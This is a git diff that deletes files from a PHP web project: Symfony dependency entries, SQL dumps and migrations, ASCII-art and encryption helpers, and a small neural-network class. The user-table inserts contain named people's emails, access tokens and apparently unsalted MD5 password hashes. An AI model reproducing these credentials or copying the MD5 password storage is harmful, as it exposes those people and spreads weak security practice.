"c77433ddc6cdc689caf48065d9ea22ca0853fbd9" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/console/zipball/c77433ddc6cdc689caf48065d9ea22ca0853fbd9", - "reference": "c77433ddc6cdc689caf48065d9ea22ca0853fbd9", - "shasum": "" - }, - "require": { - "php": ">=7.2.5", - "symfony/deprecation-contracts": "^2.1|^3", - "symfony/polyfill-mbstring": "~1.0", - "symfony/polyfill-php73": "^1.9", - "symfony/polyfill-php80": "^1.16", - "symfony/service-contracts": "^1.1|^2|^3", - "symfony/string": "^5.1|^6.0" - }, - "conflict": { - "psr/log": ">=3", - "symfony/dependency-injection": "<4.4", - "symfony/dotenv": "<5.1", - "symfony/event-dispatcher": "<4.4", - "symfony/lock": "<4.4", - "symfony/process": "<4.4" - }, - "provide": { - "psr/log-implementation": "1.0|2.0" - }, - "require-dev": { - "psr/log": "^1|^2", - "symfony/config": "^4.4|^5.0|^6.0", - "symfony/dependency-injection": "^4.4|^5.0|^6.0", - "symfony/event-dispatcher": "^4.4|^5.0|^6.0", - "symfony/lock": "^4.4|^5.0|^6.0", - "symfony/process": "^4.4|^5.0|^6.0", - "symfony/var-dumper": "^4.4|^5.0|^6.0" - }, - "suggest": { - "psr/log": "For using the console logger", - "symfony/event-dispatcher": "", - "symfony/lock": "", - "symfony/process": "" - }, - "type": "library", - "autoload": { - "psr-4": { - "Symfony\\Component\\Console\\": "" - }, - "exclude-from-classmap": [ - "/Tests/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Fabien Potencier", - "email": "fabien@symfony.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Eases the creation of beautiful and testable command line interfaces", - "homepage": "https://symfony.com", - "keywords": [ - "cli", - "command line", - "console", - "terminal" - ], - "support": { - "source": "https://github.com/symfony/console/tree/v5.4.21" - }, - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2023-02-25T16:59:41+00:00" - }, - { - "name": "symfony/polyfill-intl-grapheme", - "version": "v1.27.0", - "source": { - "type": "git", - "url": "https://github.com/symfony/polyfill-intl-grapheme.git", - "reference": "511a08c03c1960e08a883f4cffcacd219b758354" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/511a08c03c1960e08a883f4cffcacd219b758354", - "reference": "511a08c03c1960e08a883f4cffcacd219b758354", - "shasum": "" - }, - "require": { - "php": ">=7.1" - }, - "suggest": { - "ext-intl": "For best performance" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-main": "1.27-dev" - }, - "thanks": { - "name": "symfony/polyfill", - "url": "https://github.com/symfony/polyfill" - } - }, - "autoload": { - "files": [ - "bootstrap.php" - ], - "psr-4": { - "Symfony\\Polyfill\\Intl\\Grapheme\\": "" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony polyfill for intl's grapheme_* functions", - "homepage": "https://symfony.com", - "keywords": [ - "compatibility", - "grapheme", - "intl", - "polyfill", - "portable", - "shim" - ], - "support": { - "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.27.0" - }, - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2022-11-03T14:55:06+00:00" - }, - { - "name": "symfony/polyfill-intl-normalizer", - "version": "v1.27.0", - "source": { - "type": "git", - "url": "https://github.com/symfony/polyfill-intl-normalizer.git", - "reference": "19bd1e4fcd5b91116f14d8533c57831ed00571b6" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/19bd1e4fcd5b91116f14d8533c57831ed00571b6", - "reference": "19bd1e4fcd5b91116f14d8533c57831ed00571b6", - "shasum": "" - }, - "require": { - "php": ">=7.1" - }, - "suggest": { - "ext-intl": "For best performance" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-main": "1.27-dev" - }, - "thanks": { - "name": "symfony/polyfill", - "url": "https://github.com/symfony/polyfill" - } - }, - "autoload": { - "files": [ - "bootstrap.php" - ], - "psr-4": { - "Symfony\\Polyfill\\Intl\\Normalizer\\": "" - }, - "classmap": [ - "Resources/stubs" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony polyfill for intl's Normalizer class and related functions", - "homepage": "https://symfony.com", - "keywords": [ - "compatibility", - "intl", - "normalizer", - "polyfill", - "portable", - "shim" - ], - "support": { - "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.27.0" - }, - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2022-11-03T14:55:06+00:00" - }, - { - "name": "symfony/string", - "version": "v5.4.21", - "source": { - "type": "git", - "url": "https://github.com/symfony/string.git", - "reference": "edac10d167b78b1d90f46a80320d632de0bd9f2f" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/string/zipball/edac10d167b78b1d90f46a80320d632de0bd9f2f", - "reference": "edac10d167b78b1d90f46a80320d632de0bd9f2f", - "shasum": "" - }, - "require": { - "php": ">=7.2.5", - "symfony/polyfill-ctype": "~1.8", - "symfony/polyfill-intl-grapheme": "~1.0", - "symfony/polyfill-intl-normalizer": "~1.0", - "symfony/polyfill-mbstring": "~1.0", - "symfony/polyfill-php80": "~1.15" - }, - "conflict": { - "symfony/translation-contracts": ">=3.0" - }, - "require-dev": { - "symfony/error-handler": "^4.4|^5.0|^6.0", - "symfony/http-client": "^4.4|^5.0|^6.0", - "symfony/translation-contracts": "^1.1|^2", - "symfony/var-exporter": "^4.4|^5.0|^6.0" - }, - "type": "library", - "autoload": { - "files": [ - "Resources/functions.php" - ], - "psr-4": { - "Symfony\\Component\\String\\": "" - }, - "exclude-from-classmap": [ - "/Tests/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way", - "homepage": "https://symfony.com", - "keywords": [ - "grapheme", - "i18n", - "string", - "unicode", - "utf-8", - "utf8" - ], - "support": { - "source": "https://github.com/symfony/string/tree/v5.4.21" - }, - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2023-02-22T08:00:55+00:00" - }, { "name": "theseer/tokenizer", "version": "1.2.1", diff --git a/core/SQL_DUMPS/files.sql b/core/SQL_DUMPS/files.sql deleted file mode 100644 index 4959c65..0000000 --- a/core/SQL_DUMPS/files.sql +++ /dev/null @@ -1,10 +0,0 @@ -CREATE TABLE `files` ( - `id` int(11) NOT NULL, - `name` varchar(255) DEFAULT NULL, - `path` text -) ENGINE=MyISAM DEFAULT CHARSET=utf8; - -ALTER TABLE `files` ADD PRIMARY KEY (`id`); - -ALTER TABLE `files` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=23; -COMMIT; \ No newline at end of file diff --git a/core/SQL_DUMPS/roles.sql b/core/SQL_DUMPS/roles.sql deleted file mode 100644 index f032e7b..0000000 --- a/core/SQL_DUMPS/roles.sql +++ /dev/null @@ -1,13 +0,0 @@ -CREATE TABLE `roles` ( - `id` int(11) NOT NULL, - `name` text, - `description` text -) ENGINE=MyISAM DEFAULT CHARSET=utf8; - - -INSERT INTO `roles` (`id`, `name`, `description`) VALUES -(1, 'Админисистратор', 'Группа, имеющая доступ ко всему'), -(2, 'Пользователи', 'Базовая группа для простых пользователей'), - -ALTER TABLE `roles` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `id` (`id`); -COMMIT; \ No newline at end of file diff --git a/core/SQL_DUMPS/threads.sql b/core/SQL_DUMPS/threads.sql deleted file mode 100644 index 8382160..0000000 --- a/core/SQL_DUMPS/threads.sql +++ /dev/null @@ -1,19 +0,0 @@ -CREATE TABLE `threads` ( - `id` int(11) NOT NULL, - `active` varchar(1) NOT NULL DEFAULT 'N', - `in_progress` varchar(1) NOT NULL DEFAULT 'N', - `priority` int(11) DEFAULT NULL, - `execution_time` varchar(255) DEFAULT NULL, - `attempts` int(11) NOT NULL, - `attempts_limit` int(11) DEFAULT '1', - `date_created` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP, - `date_updated` datetime DEFAULT NULL, - `class` varchar(255) DEFAULT NULL, - `method` varchar(255) DEFAULT NULL, - `params` text, - `status` varchar(255) DEFAULT NULL, - `response` text -) ENGINE=MyISAM DEFAULT CHARSET=utf8; -ALTER TABLE `threads` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `id` (`id`); -ALTER TABLE `threads` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=78989; -COMMIT; \ No newline at end of file diff --git a/core/SQL_DUMPS/threads_history.sql b/core/SQL_DUMPS/threads_history.sql deleted file mode 100644 index 9d098d5..0000000 --- a/core/SQL_DUMPS/threads_history.sql +++ /dev/null @@ -1,18 +0,0 @@ -CREATE TABLE `threads_history` ( - `id` int(11) NOT NULL, - `task_id` int(11) DEFAULT NULL, - `execution_time` varchar(255) DEFAULT NULL, - `attempts` int(11) NOT NULL, - `date_created` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP, - `date_updated` datetime DEFAULT NULL, - `class` varchar(255) DEFAULT NULL, - `method` varchar(255) DEFAULT NULL, - `params` text, - `status` varchar(255) DEFAULT NULL, - `response` text -) ENGINE=MyISAM DEFAULT CHARSET=utf8; - -ALTER TABLE `threads_history` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `id` (`id`); - -ALTER TABLE `threads_history` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7946; -COMMIT; \ No newline at end of file diff --git a/core/SQL_DUMPS/user_roles.sql b/core/SQL_DUMPS/user_roles.sql deleted file mode 100644 index bd10d4c..0000000 --- a/core/SQL_DUMPS/user_roles.sql +++ /dev/null @@ -1,10 +0,0 @@ -CREATE TABLE `user_roles` ( - `id` int(11) NOT NULL, - `user_id` int(11) NOT NULL, - `role_id` int(11) NOT NULL -) ENGINE=MyISAM DEFAULT CHARSET=utf8; - -INSERT INTO `user_roles` (`id`, `user_id`, `role_id`) VALUES (1, 1, 1), -ALTER TABLE `user_roles` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `id` (`id`); -ALTER TABLE `user_roles` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; -COMMIT; \ No newline at end of file diff --git a/core/SQL_DUMPS/users.sql b/core/SQL_DUMPS/users.sql deleted file mode 100644 index 0f2e1b0..0000000 --- a/core/SQL_DUMPS/users.sql +++ /dev/null @@ -1,30 +0,0 @@ -CREATE TABLE `users` -( - `id` int(11) NOT NULL, - `active` enum('Y','N') NOT NULL DEFAULT 'YN', - `login` varchar(100) NOT NULL, - `password` varchar(100) NOT NULL, - `name` varchar(150) NOT NULL, - `email` text, - `image_id` int(11) DEFAULT NULL, - `token` text, - `last_active` varchar(100) NOT NULL, - `date_created` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP, - `date_updated` datetime DEFAULT NULL -) ENGINE = MyISAM - DEFAULT CHARSET = utf8; - -INSERT INTO `users` (`id`, `login`, `password`, `name`, `email`, `image_id`, `token`, `last_active`, `date_created`, `date_updated`) -VALUES (1, 'Y', 'admin', '5321ef98bd96cccf03f50979fdd8c893', 'Роман Гринько', 'rsgrinko@yandex.ru', 18, 'RG1819-1000-77EB-8F7A-9B112FB69D3A0', - '1657051585', '2022-06-17 16:18:56', NULL), - (2, 'Y', 'a.kirilcev', 'c7e82c3d2bed998ea1f4c1aca09c282b', 'Александр Кирильцев', 'a.kirilcev@it-tula.ru', 20, - 'RG17DE-1000-26FC-837F-8F9C47E643970', '1655471459', '2022-06-17 16:18:56', NULL), - (3, 'Y', 'system', '', 'Система', 'info@it-stories.ru', NULL, 'RG17DE-1000-2702-816F-97E3877DD6650', '1651673702', '2022-06-17 16:18:56', NULL); - -ALTER TABLE `users` - ADD PRIMARY KEY (`id`); - -ALTER TABLE `users` - MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, - AUTO_INCREMENT = 25; -COMMIT; \ No newline at end of file diff --git a/core/lib/Core/Helpers/Ascii.class.php b/core/lib/Core/Helpers/Ascii.class.php deleted file mode 100644 index 2fa7e18..0000000 --- a/core/lib/Core/Helpers/Ascii.class.php +++ /dev/null @@ -1,203 +0,0 @@ - - * Permission is hereby granted, free of charge, to any person obtaining - * a copy of this software and associated documentation files (the - * "Software"), to deal in the Software without restriction, including - * without limitation the rights to use, copy, modify, merge, publish, - * distribute, sublicense, and/or sell copies of the Software, and to - * permit persons to whom the Software is furnished to do so, subject to - * the following conditions: - * The above copyright notice and this permission notice shall be included - * in all copies or substantial portions of the Software. - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, - * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF - * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. - * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY - * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, - * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE - * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - */ - - namespace Core\Helpers; - - use Core\CoreException; - - class Ascii - { - /** - * @var \GdImage Изображение - */ - private $image; - - /** - * @var string $file Полный путь до изображения - */ - private string $file; - - /** - * @var int $pixelSize Размер пикселя - */ - private int $pixelSize = 1; - - /** - * @var int $quality Качество - */ - private int $quality = 1; - - /** - * @var bool $isUseColor Флаг использования цвета - */ - public bool $isUseColor = false; - - /** - * @var array|string[] $chars Массив символов для рисования - */ - public array $chars = ['@', '#', '+', '\'', ';', ':', ',', '.', '`', ' ']; - - /** - * @var string $colorChar Символ для цветного рисования - */ - public string $colorChar = '#'; - - /** - * Конструктор - * - * @param string $file Полный путь к изображению - * - * @throws CoreException - */ - public function __construct(string $file) - { - $this->file = $file; - - if (!file_exists($file)) { - throw new CoreException('Изображение ' . $this->file . ' недоступно.'); - } - - switch (exif_imagetype($file)) { - case IMAGETYPE_GIF: - $this->image = imagecreatefromgif($this->file); - break; - case IMAGETYPE_JPEG: - $this->image = imagecreatefromjpeg($this->file); - break; - case IMAGETYPE_PNG: - $this->image = imagecreatefrompng($this->file); - break; - case IMAGETYPE_WBMP: - $this->image = imagecreatefromwbmp($this->file); - break; - case IMAGETYPE_XBM: - $this->image = imagecreatefromxbm($this->file); - break; - default: - throw new CoreException('Неподдерживаемый формат изображения.'); - break; - } - } - - /** - * Установка размера пикселя - * - * @param int $size Размер пикселя - * - * @return $this - */ - public function setPixelSize(int $size): self - { - $this->pixelSize = $size; - return $this; - } - - /** - * Установка флага Цветного/ЧБ изображения - * - * @param bool $isUseColor Флаг использования цвета - * - * @return $this - */ - public function setUseColor(bool $isUseColor = true): self - { - $this->isUseColor = $isUseColor; - return $this; - } - - - /** - * Получение ASCII изображения - * - * @return string ASCII изображение - */ - public function draw(): string - { - $width = imagesx($this->image); - $height = imagesy($this->image); - - if ($this->isUseColor === true) { - $pixel_color = imagecolorat($this->image, 1, 1); - $rgb = imagecolorsforindex($this->image, $pixel_color); - $output = ''; - } else { - $output = ''; - } - - for ($y = 0; $y < $height; $y += $this->quality) { - for ($x = 0; $x < $width; $x += $this->quality) { - $pixel_color = imagecolorat($this->image, $x, $y); - $rgb = imagecolorsforindex($this->image, $pixel_color); - - if ($this->isUseColor === true) { - if ($x > $this->quality && $y > $this->quality && $pixel_color === imagecolorat($this->image, $x - $this->quality, $y)) { - $char = $this->colorChar; - } else { - $char = '' - . $this->colorChar; - } - } else { - $brightness = $rgb['red'] + $rgb['green'] + $rgb['blue']; - $brightness = round($brightness / (765 / (count($this->chars) - 1))); - $char = $this->chars[$brightness]; - } - $output .= $char; - } - $output .= PHP_EOL; - } - - if ($this->isUseColor === true) { - $output .= ''; - } - - $result = '
';
-            $result .= $output;
-            $result .= '
'; - return $result; - } - - /** - * Преобразование цвета из RDB в HEX - * - * @param int $red Красный - * @param int $green Зеленый - * @param int $blue Синий - * - * @return string Цвет в HEX - */ - private function rgbToHex(int $red, int $green, int $blue): string - { - $hex = '#'; - $hex .= str_pad(dechex($red), 2, '0', STR_PAD_LEFT); - $hex .= str_pad(dechex($green), 2, '0', STR_PAD_LEFT); - $hex .= str_pad(dechex($blue), 2, '0', STR_PAD_LEFT); - return $hex; - } - - /** - * Деструктор - */ - public function __destruct() - { - imagedestroy($this->image); - } - - } diff --git a/core/lib/Core/Helpers/Crypto.class.php b/core/lib/Core/Helpers/Crypto.class.php deleted file mode 100644 index c9b0b5e..0000000 --- a/core/lib/Core/Helpers/Crypto.class.php +++ /dev/null @@ -1,118 +0,0 @@ - - * Permission is hereby granted, free of charge, to any person obtaining - * a copy of this software and associated documentation files (the - * "Software"), to deal in the Software without restriction, including - * without limitation the rights to use, copy, modify, merge, publish, - * distribute, sublicense, and/or sell copies of the Software, and to - * permit persons to whom the Software is furnished to do so, subject to - * the following conditions: - * The above copyright notice and this permission notice shall be included - * in all copies or substantial portions of the Software. - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, - * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF - * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. - * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY - * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, - * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE - * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - */ - - namespace Core\Helpers; - - class Crypto - { - /** - * @var string|null $key Ключ шифрования - */ - private $key = CRYPTO_KEY; - - /** - * @var string $method Метод шифрования - */ - private $method = 'AES-192-CBC'; - - /** - * @var string $algorithm Алгоритм - */ - private $algorithm = 'sha256'; - - - /** - * Конструктор - */ - public function __construct() - { - } - - /** - * Деструктор - */ - public function __destruct() - { - unset($this->key); - unset($this->method); - } - - /** - * Генерация ключа шифрования - * - * @return string Ключ - */ - public static function generateKey(): string - { - return bin2hex(openssl_random_pseudo_bytes(40)); - } - - /** - * @param string $key - * - * @return Crypto - */ - public function setKey(string $key): self - { - $this->key = $key; - return $this; - } - - /** - * Шифрование данных - * - * @param string $string Строка - * - * @return string - */ - public function encode(string $string): string - { - $ivLength = openssl_cipher_iv_length($this->method); - $iv = openssl_random_pseudo_bytes($ivLength); - $cipherTextRaw = openssl_encrypt($string, $this->method, $this->key, OPENSSL_RAW_DATA, $iv); - $hmac = hash_hmac($this->algorithm, $cipherTextRaw, $this->key, true); - $cipherText = base64_encode($iv . $hmac . $cipherTextRaw); - return $cipherText; - } - - /** - * Расшифровка данных - * - * @param string $string Зашифрованная строка - * - * @return string|null - */ - public function decode(string $string): ?string - { - $c = base64_decode($string); - $ivLength = openssl_cipher_iv_length($this->method); - $iv = substr($c, 0, $ivLength); - $hmac = substr($c, $ivLength, $sha2len = 32); - $cipherTextRaw = substr($c, $ivLength + $sha2len); - $result = openssl_decrypt($cipherTextRaw, $this->method, $this->key, OPENSSL_RAW_DATA, $iv); - $calcMac = hash_hmac($this->algorithm, $cipherTextRaw, $this->key, true); - if (hash_equals($hmac, $calcMac)) { - return $result; - } - return null; - } - - } \ No newline at end of file diff --git a/core/lib/Core/ML/NeuroNetwork.class.php b/core/lib/Core/ML/NeuroNetwork.class.php deleted file mode 100644 index ce66e6a..0000000 --- a/core/lib/Core/ML/NeuroNetwork.class.php +++ /dev/null @@ -1,209 +0,0 @@ -storageFile = $_SERVER['DOCUMENT_ROOT'] . '/neuroSynaps.json'; - } else { - $this->storageFile = $storageFile; - } - - // Слои нейросети - $this->layers = [ - [new Neuron(1), new Neuron(2)], - [new Neuron(3), new Neuron(4), new Neuron(5), new Neuron(6)], - [new Neuron(7)], - ]; - - - /** Строим связи нейронов */ - $this->generateSynapses(); - /*$this->synaps = [ - new Synaps($this->layers[0][0], $this->layers[1][0]), - new Synaps($this->layers[0][0], $this->layers[1][1]), - new Synaps($this->layers[0][0], $this->layers[1][2]), - new Synaps($this->layers[0][0], $this->layers[1][3]), - new Synaps($this->layers[0][1], $this->layers[1][0]), - new Synaps($this->layers[0][1], $this->layers[1][1]), - new Synaps($this->layers[0][1], $this->layers[1][2]), - new Synaps($this->layers[0][1], $this->layers[1][3]), - new Synaps($this->layers[1][0], $this->layers[2][0]), - new Synaps($this->layers[1][0], $this->layers[2][1]), - new Synaps($this->layers[1][1], $this->layers[2][0]), - new Synaps($this->layers[1][1], $this->layers[2][1]), - new Synaps($this->layers[1][2], $this->layers[2][0]), - new Synaps($this->layers[1][2], $this->layers[2][1]), - new Synaps($this->layers[1][3], $this->layers[2][0]), - new Synaps($this->layers[1][3], $this->layers[2][1]), - ];*/ - - // Получение сохраненных данных по весам - $this->getSynapsValue(); - } - - /** - * Генерируем связи между нейронами - */ - private function generateSynapses(): void - { - $synapsId = 1; - $layersCount = count($this->layers); - - // Бежим по слоям нейронов (последний нам не нужен) и строим связи - for ($i = 0; $i < $layersCount - 1; $i++) { - $neuronCount = count($this->layers[$i + 1]); - for ($j = 0; $j < $neuronCount; $j++) { - $neuronInCount = count($this->layers[$i]); - for ($k = 0; $k < $neuronInCount; $k++) { - $this->synapses[] = new Synaps( - $synapsId, $this->layers[$i][$k], $this->layers[$i + 1][$j], $this->arValues[$synapsId] ?? null - ); - $synapsId++; - } - } - } - } - - /** - * Сохранить значения весов синапсов в файл - * - * @param bool $forceUpdate Принудительно перезаписать - */ - private function saveSynapsValue(bool $forceUpdate= false): void - { - $data = []; - foreach ($this->synapses as $synapse) { - /** @var Synaps $synapse */ - $data[$synapse->getId()] = $synapse->getValue(); - } - - if ($forceUpdate || !file_exists($this->storageFile)) { - echo 'SAVED FILE' . PHP_EOL; - file_put_contents($this->storageFile, json_encode($data, JSON_UNESCAPED_UNICODE)); - } - } - - /** - * Получить значения весов синапсов из файла - * - * @return array Сохраненный раннее массив весов - */ - private function getSynapsValue(): array - { - if (!file_exists($this->storageFile)) { - return []; - } - - // Получаем массив весов - $synapsValues = json_decode(file_get_contents($this->storageFile), true); - - // Устанавливаем веса для синапсов - foreach ($this->synapses as $synapse) { - /** @var Synaps $synapse */ - $synapse->setValue($synapsValues[$synapse->getId()]); - } - - $this->arValues = $synapsValues; - - // Возвращаем веса - return $synapsValues; - } - - /** - * Мутация веса - * - * @param float|null $shift Величина сдвига для мутации - * - * @throws \Exception - */ - public function mutate(?float $shift = 0.1): self - { - foreach ($this->synapses as $synapse) { - /** @var Synaps $synapse */ - $tempValue = random_int((int)(($synapse->getValue() - $shift) * 100), (int)(($synapse->getValue() + $shift) * 100)) / 100; - - // Ограничиваемся диапазоном 0..1 - if ($tempValue < 0) { - $tempValue = 0; - } - if ($tempValue > 1) { - $tempValue = 1; - } - - $synapse->setValue($tempValue); - } - - $this->saveSynapsValue(true); - return $this; - } - - /** - * Запуск обработки - */ - public function run(array $arValue): array - { - foreach ($arValue as $key => $value) { - $this->layers[0][$key]->setValue($value); - } - foreach ($this->synapses as $synapse) { - $this->step($synapse); - } - - $result = []; - // Отдаем значения нейронов последнего слоя как результат - foreach ($this->layers[2] as $neuron) { - $result[] = $neuron->getValue(); - } - $this->saveSynapsValue(); - return $result; - //return [$this->layers[2][0]->getValue(), $this->layers[2][1]->getValue()]; - } - - - /** - * Шаг преобразования значений между нейронами - */ - public function step(Synaps $synaps): void - { - /* - // Умножение значения на коэфициент - $synaps->getOutNeuron()->setValue( - $synaps->getInNeuron()->getValue() * $synaps->getValue() - );*/ - - // Гиперболический тангенс - // https://otus.ru/journal/kak-sozdat-nejroset/ - // Функция активации - $synaps->getOutNeuron()->setValue( - tanh($synaps->getInNeuron()->getValue() * $synaps->getValue()) - ); - } - } \ No newline at end of file diff --git a/core/lib/Core/ML/Neuron.class.php b/core/lib/Core/ML/Neuron.class.php deleted file mode 100644 index 578e5dd..0000000 --- a/core/lib/Core/ML/Neuron.class.php +++ /dev/null @@ -1,39 +0,0 @@ -id = $id; - } - - /** Получить текущее значение */ - public function getValue(): ?float - { - return $this->value; - } - - /** Задать текущее значение */ - public function setValue(float $value): self - { - $this->value = $value; - return $this; - } - } diff --git a/core/lib/Core/ML/Synaps.class.php b/core/lib/Core/ML/Synaps.class.php deleted file mode 100644 index d8f902f..0000000 --- a/core/lib/Core/ML/Synaps.class.php +++ /dev/null @@ -1,97 +0,0 @@ -inNeuron = $inNeuron; - $this->outNeuron = $outNeuron; - - // если мы хотим явно задать вес - задаем, иначе генерируем как-нибудь - if ($value !== null) { - $this->value = $value; - } else { - $this->value = random_int(0, 100) / 100; - } - $this->id = $id; - } - - /** Получить id синапса */ - public function getId(): int - { - return $this->id; - } - - /** - * Получение входящего нейрона - * - * @return Neuron - */ - public function getInNeuron(): Neuron - { - return $this->inNeuron; - } - - /** - * Получение выходящего нейрона - * - * @return Neuron - */ - public function getOutNeuron(): Neuron - { - return $this->outNeuron; - } - - - /** - * Получить вес - * - * @return float Вес - */ - public function getValue(): ?float - { - return $this->value; - } - - - /** - * Установить вес - * - * @param float $value Вес - * @return $this - */ - public function setValue(float $value): self - { - $this->value = $value; - return $this; - } - - } diff --git a/core/migrations/000000_base.sql b/core/migrations/000000_base.sql deleted file mode 100644 index ab01302..0000000 --- a/core/migrations/000000_base.sql +++ /dev/null @@ -1,11 +0,0 @@ --- Таблица versions -- -create table if not exists `d_migrations` ( - `id` int(10) unsigned not null auto_increment, - `name` varchar(255) not null, - `date_created` timestamp default current_timestamp, - primary key (id) - ) - engine = innodb - auto_increment = 1 - character set utf8 - collate utf8_general_ci; \ No newline at end of file diff --git a/core/migrations/000001_core.sql b/core/migrations/000001_core.sql deleted file mode 100644 index 95ae47d..0000000 --- a/core/migrations/000001_core.sql +++ /dev/null @@ -1,96 +0,0 @@ -CREATE TABLE `d_users` -( - `id` int(11) NOT NULL, - `login` varchar(100) NOT NULL, - `password` varchar(100) NOT NULL, - `name` varchar(150) NOT NULL, - `email` text, - `image_id` int(11) DEFAULT NULL, - `token` text, - `last_active` varchar(100) NOT NULL, - `date_created` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP, - `date_updated` datetime DEFAULT NULL -) ENGINE = innodb - DEFAULT CHARSET = utf8; -INSERT INTO `d_users` (`id`, `login`, `password`, `name`, `email`, `image_id`, `token`, `last_active`, `date_created`, `date_updated`) -VALUES (1, 'admin', '7c607172d24d7237579acfdeffe373e2', 'Роман Гринько', 'rsgrinko@yandex.ru', 18, 'RG1819-1000-77EB-8F7A-9B112FB69D3A0', - '1657051585', '2022-06-17 16:18:56', NULL), - (2, 'demo', '7c607172d24d7237579acfdeffe373e2', 'Demo', 'demo@it-stories.ru', 20, - 'RG17DE-1000-26FC-837F-8F9C47E643970', '1655471459', '2022-06-17 16:18:56', NULL), - (3, 'system', '', 'Система', 'info@it-stories.ru', NULL, 'RG17DE-1000-2702-816F-97E3877DD6650', '1651673702', '2022-06-17 16:18:56', NULL); -ALTER TABLE `d_users` ADD PRIMARY KEY (`id`); -ALTER TABLE `d_users` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT = 25; - - -CREATE TABLE `roles` ( - `id` int(11) NOT NULL, - `name` text, - `description` text -) ENGINE=MyISAM DEFAULT CHARSET=utf8; - - -INSERT INTO `roles` (`id`, `name`, `description`) VALUES - (1, 'Админисистратор', 'Группа, имеющая доступ ко всему'), - (2, 'Пользователи', 'Базовая группа для простых пользователей'); - -ALTER TABLE `roles` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `id` (`id`); - - -CREATE TABLE `user_roles` ( - `id` int(11) NOT NULL, - `user_id` int(11) NOT NULL, - `role_id` int(11) NOT NULL -) ENGINE=MyISAM DEFAULT CHARSET=utf8; -INSERT INTO `user_roles` (`id`, `user_id`, `role_id`) VALUES (1, 1, 1); -ALTER TABLE `user_roles` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `id` (`id`); -ALTER TABLE `user_roles` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; - - -CREATE TABLE `threads` ( - `id` int(11) NOT NULL, - `active` varchar(1) NOT NULL DEFAULT 'N', - `in_progress` varchar(1) NOT NULL DEFAULT 'N', - `executed` varchar(1) NOT NULL 